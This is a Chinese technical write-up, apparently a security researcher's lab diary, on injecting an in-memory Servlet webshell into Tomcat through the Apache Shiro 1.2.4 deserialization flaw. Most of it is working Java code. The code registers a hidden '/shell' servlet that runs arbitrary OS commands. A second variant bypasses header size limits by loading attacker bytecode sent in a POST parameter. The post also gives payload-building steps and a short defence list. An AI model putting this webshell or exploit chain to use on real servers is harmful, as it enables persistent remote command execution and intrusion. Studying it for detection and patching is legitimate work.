shiro环境下的Servlet内存马注入踩坑日记
字数 1106 2025-08-26 22:11:45

Shiro环境下Servlet内存马注入技术分析与实践

环境搭建

本地环境搭建

  1. 使用Shiro 1.2.4版本环境

  2. 下载方式:

    • 直接下载1.2.4版本的源码(zip包或git clone)
    • 使用samples文件夹下的samples-web项目进行测试
  3. pom.xml修改:

<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <version>1.2</version>
    <scope>runtime</scope>
</dependency>
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>
  1. 添加Tomcat容器进行部署

Docker环境搭建

直接使用DockerHub上的镜像即可

Shiro反序列化特性分析

  1. 反序列化过程关键点:

    • org.apache.shiro.io.DefaultSerializer#deserialize方法
    • 使用ClassResolvingObjectInputStream而非普通ObjectInputStream
  2. 关键差异:

    • ClassResolvingObjectInputStream重写了resolveClass方法
    • 使用ClassUtils.forName而非Class.forName
    • 实际调用WebappClassLoaderBase#loadClass方法加载类
  3. 限制条件:

    • 无法加载数组类型的对象(如/Lorg/apache/commons/collections/Transformer;.class
    • 解决方案:使用不包含数组的利用链

内存马构造技术

基本思路

  1. 使用InvokerTransformer + LazyMap + TemplatesImpl组合
  2. 动态创建Servlet实现内存驻留

上下文获取方法

// 从线程中获取类加载器WebappClassLoaderBase
WebappClassLoaderBase contextClassLoader = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();

// 获取TomcatEmbeddedContext对象
Context context = contextClassLoader.getResources().getContext();

// 从上下文中获取ApplicationContext对象
ApplicationContext servletContext = (ApplicationContext)getField(context, Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"));

完整Servlet内存马实现

public class TomcatMemshell2 extends AbstractTranslet implements Servlet {
    // ... 省略其他方法实现 ...

    static {
        try {
            // 上下文获取代码
            WebappClassLoaderBase contextClassLoader = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();
            Context context = contextClassLoader.getResources().getContext();
            ApplicationContext servletContext = (ApplicationContext)getField(context, Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"));
            
            String name = "RoboTerh";
            if (servletContext.getServletRegistration(name) == null) {
                StandardContext o = null;
                // 获取StandardContext对象
                while (o == null) {
                    Field f = servletContext.getClass().getDeclaredField("context");
                    f.setAccessible(true);
                    Object object = f.get(servletContext);
                    if (object instanceof StandardContext) {
                        o = (StandardContext)object;
                    }
                }
                
                // 创建并注册Servlet
                Servlet servlet = new TomcatMemshell2();
                Wrapper newWrapper = o.createWrapper();
                newWrapper.setName(name);
                newWrapper.setLoadOnStartup(1);
                newWrapper.setServlet(servlet);
                o.addChild(newWrapper);
                o.addServletMappingDecoded("/shell", name);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        // 命令执行逻辑
        String cmd = servletRequest.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = servletResponse.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }
}

绕过maxHttpHeaderSize限制

问题描述

直接发送大Cookie会导致"请求头太大"错误

解决方案:自定义ClassLoader加载

  1. 实现思路:

    • 通过POST参数传递恶意类字节码
    • 自定义ClassLoader获取POST参数ClassData
    • 使用defineClass加载类并newInstance实例化
  2. 改进版内存马关键代码:

static {
    try {
        // 通过MBeanServer获取请求处理器
        MBeanServer mBeanServer = Registry.getRegistry(null, null).getMBeanServer();
        Object mbsInterceptor = getField(mBeanServer, Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"));
        Object repository = getField(mbsInterceptor, Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"));
        HashMap domainTb = (HashMap)getField(repository, Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb"));
        
        // 获取GlobalRequestProcessor
        Object namedObject = ((HashMap)domainTb.get("Catalina")).get("name=\"http-nio-8080\",type=GlobalRequestProcessor");
        Object object = getField(namedObject, Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object"));
        Object resource = getField(object, Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"));
        
        // 遍历处理器寻找包含cmd参数的请求
        ArrayList processors = (ArrayList)getField(resource, Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"));
        Iterator var8 = processors.iterator();
        
        while(true) {
            ServletContext servletContext;
            String name;
            do {
                Request req;
                do {
                    if (!var8.hasNext()) {
                        break;
                    }
                    Object processor = var8.next();
                    RequestInfo requestInfo = (RequestInfo)processor;
                    req = (Request)getField(requestInfo, Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"));
                } while(req.getParameters().getParameter("cmd") == null);
                
                org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request)req.getNote(1);
                servletContext = request.getServletContext();
                name = "RoboTerh";
            } while(servletContext.getServletRegistration(name) != null);
            
            // 获取StandardContext并注册Servlet
            StandardContext o = null;
            while(o == null) {
                Field f = servletContext.getClass().getDeclaredField("context");
                f.setAccessible(true);
                Object obj = f.get(servletContext);
                if (obj instanceof ServletContext) {
                    servletContext = (ServletContext)obj;
                } else if (obj instanceof StandardContext) {
                    o = (StandardContext)obj;
                }
            }
            
            Servlet servlet = new TomcatMemshell3();
            Wrapper newWrapper = o.createWrapper();
            newWrapper.setName(name);
            newWrapper.setLoadOnStartup(1);
            newWrapper.setServlet(servlet);
            o.addChild(newWrapper);
            o.addServletMappingDecoded("/shell", name);
        }
    } catch (Exception var18) {
        var18.printStackTrace();
    }
}

测试与验证

  1. 生成序列化数据:

    • 使用不包含数组的CC链生成
    • 进行AES加密和Base64编码
  2. 注入方式:

    • 将恶意类字节码Base64编码后通过POST参数ClassData传递
  3. 验证方法:

    • 访问/shell?cmd=whoami验证命令执行
    • 检查是否成功创建名为"RoboTerh"的Servlet

防御建议

  1. 及时升级Shiro到最新版本
  2. 限制反序列化操作
  3. 监控异常Servlet注册行为
  4. 设置合理的maxHttpHeaderSize
  5. 实施严格的输入验证和过滤

参考资源

  1. Java代码执行漏洞中类动态加载的应用
  2. Shiro反序列化漏洞分析
Shiro环境下Servlet内存马注入技术分析与实践 环境搭建 本地环境搭建 使用Shiro 1.2.4版本环境 下载方式: 直接下载1.2.4版本的源码(zip包或git clone) 使用samples文件夹下的samples-web项目进行测试 pom.xml修改: 添加Tomcat容器进行部署 Docker环境搭建 直接使用DockerHub上的镜像即可 Shiro反序列化特性分析 反序列化过程关键点: org.apache.shiro.io.DefaultSerializer#deserialize 方法 使用 ClassResolvingObjectInputStream 而非普通 ObjectInputStream 关键差异: ClassResolvingObjectInputStream 重写了 resolveClass 方法 使用 ClassUtils.forName 而非 Class.forName 实际调用 WebappClassLoaderBase#loadClass 方法加载类 限制条件: 无法加载数组类型的对象(如 /Lorg/apache/commons/collections/Transformer;.class ) 解决方案:使用不包含数组的利用链 内存马构造技术 基本思路 使用 InvokerTransformer + LazyMap + TemplatesImpl 组合 动态创建Servlet实现内存驻留 上下文获取方法 完整Servlet内存马实现 绕过maxHttpHeaderSize限制 问题描述 直接发送大Cookie会导致"请求头太大"错误 解决方案:自定义ClassLoader加载 实现思路: 通过POST参数传递恶意类字节码 自定义ClassLoader获取POST参数 ClassData 使用 defineClass 加载类并 newInstance 实例化 改进版内存马关键代码: 测试与验证 生成序列化数据: 使用不包含数组的CC链生成 进行AES加密和Base64编码 注入方式: 将恶意类字节码Base64编码后通过POST参数 ClassData 传递 验证方法: 访问 /shell?cmd=whoami 验证命令执行 检查是否成功创建名为"RoboTerh"的Servlet 防御建议 及时升级Shiro到最新版本 限制反序列化操作 监控异常Servlet注册行为 设置合理的maxHttpHeaderSize 实施严格的输入验证和过滤 参考资源 Java代码执行漏洞中类动态加载的应用 Shiro反序列化漏洞分析